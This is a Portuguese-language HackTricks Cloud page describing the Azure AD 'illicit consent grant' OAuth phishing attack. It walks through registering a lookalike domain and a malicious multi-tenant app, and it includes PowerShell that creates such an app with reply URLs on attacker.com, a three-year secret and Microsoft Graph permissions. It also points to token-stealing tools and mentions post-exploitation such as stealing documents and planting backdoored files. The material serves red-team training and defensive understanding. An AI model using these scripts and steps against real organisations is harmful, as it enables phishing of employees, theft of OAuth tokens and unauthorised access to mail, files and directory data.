Az - Illicit Consent Grant

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

OAuth App Phishing

Aplicações Azure pedem permissões para acessar os dados do usuário (informações básicas, mas também acesso a documentos, enviar e-mails...). Se permitido, um usuário normal pode conceder consentimento apenas para "permissões de baixo impacto". Em todos os outros casos, o consentimento do administrador é necessário. GA, ApplicationAdministrator, CloudApplication Administrator e um papel personalizado que inclua permissão para conceder permissões a aplicativos podem fornecer consentimento em toda a locatária.

Apenas permissões que não requerem consentimento do administrador são classificadas como baixo impacto. Estas são permissões necessárias para o login básico, que são openid, profile, email, User.Read e offline_access. Se uma organização permitir o consentimento do usuário para todos os aplicativos, um funcionário pode conceder consentimento a um aplicativo para ler o acima de seu perfil.

Portanto, um atacante poderia preparar um Aplicativo malicioso e com um phishing, fazer o usuário aceitar o App e roubar seus dados.

2 Tipos de Ataques de Concessão de Consentimento Ilícito

• Não autenticado: A partir de uma conta externa, crie um aplicativo com as permissões User.Read e User.ReadBasic.All, por exemplo, phishing de um usuário, e você poderá acessar informações do diretório.

• Isso requer que o usuário phishing possa aceitar aplicativos OAuth de ambientes externos!

• Autenticado: Tendo comprometido um principal com privilégios suficientes, crie um aplicativo dentro da conta e phishing de algum usuário privilegiado que possa aceitar permissões OAuth privilegiadas.

• Nesse caso, você já pode acessar as informações do diretório, então a permissão User.ReadBasic.All não é mais interessante.

• Você provavelmente está interessado em permissões que requerem um administrador para concedê-las, porque um usuário comum não pode dar permissões a aplicativos OAuth, por isso você precisa phishing apenas aqueles usuários (mais sobre quais papéis/permissões concedem esse privilégio mais tarde)

Verificar se os usuários podem consentir

O seguinte comando PowerShell é usado para verificar a configuração de consentimento para usuários no Azure Active Directory (Azure AD) em relação à sua capacidade de consentir a aplicativos:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

• Desativar o consentimento do usuário: Esta configuração proíbe os usuários de conceder permissões a aplicativos. Nenhum consentimento de usuário para aplicativos é permitido.

• Os usuários podem consentir a aplicativos de editores verificados ou da sua organização, mas apenas para permissões que você selecionar: Esta configuração permite que todos os usuários consintam apenas a aplicativos que são publicados por um editor verificado e aplicativos registrados em seu próprio locatário. Adiciona uma camada de controle permitindo consentimento apenas para permissões específicas.

• Os usuários podem consentir a todos os aplicativos: Esta configuração é mais permissiva e permite que todos os usuários consintam a quaisquer permissões para aplicativos, desde que essas permissões não exijam consentimento administrativo.

• Política de consentimento de aplicativo personalizada: Esta configuração indica que uma política personalizada está em vigor, que pode ser adaptada a requisitos organizacionais específicos e pode envolver uma combinação de restrições com base no editor do aplicativo, nas permissões que o aplicativo solicita e em outros fatores.

Entendendo o Ataque de Concessão de Consentimento Ilícito

Em um ataque de concessão de consentimento ilícito, os atacantes enganam os usuários finais para conceder permissões a um aplicativo malicioso registrado no Azure. Isso é feito fazendo o aplicativo parecer legítimo, levando as vítimas a clicarem inadvertidamente em um botão "Aceitar". Como resultado, o Azure AD emite um token para o site do atacante, permitindo que eles acessem e manipulem os dados da vítima, como ler ou enviar e-mails e acessar arquivos, sem precisar de uma conta organizacional.

Visão Geral do Fluxo de Ataque

O ataque envolve várias etapas direcionadas a uma empresa genérica. Veja como pode se desenrolar:

1. Registro de Domínio e Hospedagem de Aplicativo: O atacante registra um domínio que se assemelha a um site confiável, por exemplo, "safedomainlogin.com". Sob este domínio, um subdomínio é criado (por exemplo, "companyname.safedomainlogin.com") para hospedar um aplicativo projetado para capturar códigos de autorização e solicitar tokens de acesso.

2. Registro de Aplicativo no Azure AD: O atacante então registra um Aplicativo Multi-Tenant em seu Locatário do Azure AD, nomeando-o após a empresa-alvo para parecer legítimo. Eles configuram a URL de Redirecionamento do aplicativo para apontar para o subdomínio que hospeda o aplicativo malicioso.

3. Configuração de Permissões: O atacante configura o aplicativo com várias permissões de API (por exemplo, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Essas permissões, uma vez concedidas pelo usuário, permitem que o atacante extraia informações sensíveis em nome do usuário.

4. Distribuição de Links Maliciosos: O atacante cria um link contendo o ID do cliente do aplicativo malicioso e o compartilha com usuários-alvo, enganando-os para conceder consentimento.

Utilizando Ferramentas para o Ataque

O ataque pode ser facilitado usando ferramentas como 365-Stealer.

Preparação Pré-Ataque:

Se o atacante tiver algum nível de acesso a um usuário na organização da vítima, ele pode verificar se a política da organização permite que o usuário aceite aplicativos:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("[e-mail]", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Para executar o ataque, o atacante precisaria criar um novo App em seu Azure Tenant (em Registros de Aplicativos), configurado com as permissões:

User.ReadBasic.All está dentro de Microsoft Graph em Permissões Delegadas. (As permissões de Aplicação sempre precisarão de aprovação extra).

• User.ReadBasic.All é a permissão que permitirá que você leia informações de todos os usuários na organização, se concedida.

• Lembre-se de que apenas GA, ApplicationAdministrator, CloudApplication Administrator e um papel personalizado que inclua permissão para conceder permissões a aplicativos podem fornecer consentimento em toda a locatária. Portanto, você deve phish um usuário com um desses papéis se quiser que ele aprove um App que requer consentimento de administrador.

Você também pode criar um App via cli com:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Verifique https://www.alteredsecurity.com/post/introduction-to-365-stealer para aprender como configurá-lo.

Observe que o token de acesso obtido será para o endpoint do graph com os escopos: User.Read e User.ReadBasic.All (as permissões solicitadas). Você não poderá realizar outras ações (mas essas são suficientes para baixar informações sobre todos os usuários na organização).

O365-Attack-Toolkit

Você também pode usar esta ferramenta para realizar este ataque.

Pós-Exploração

Uma vez que você tenha acesso ao usuário, pode fazer coisas como roubar documentos sensíveis e até fazer upload de arquivos de documentos com backdoor.

Referências

• https://www.alteredsecurity.com/post/introduction-to-365-stealer

• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Verifique os planos de assinatura!

• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.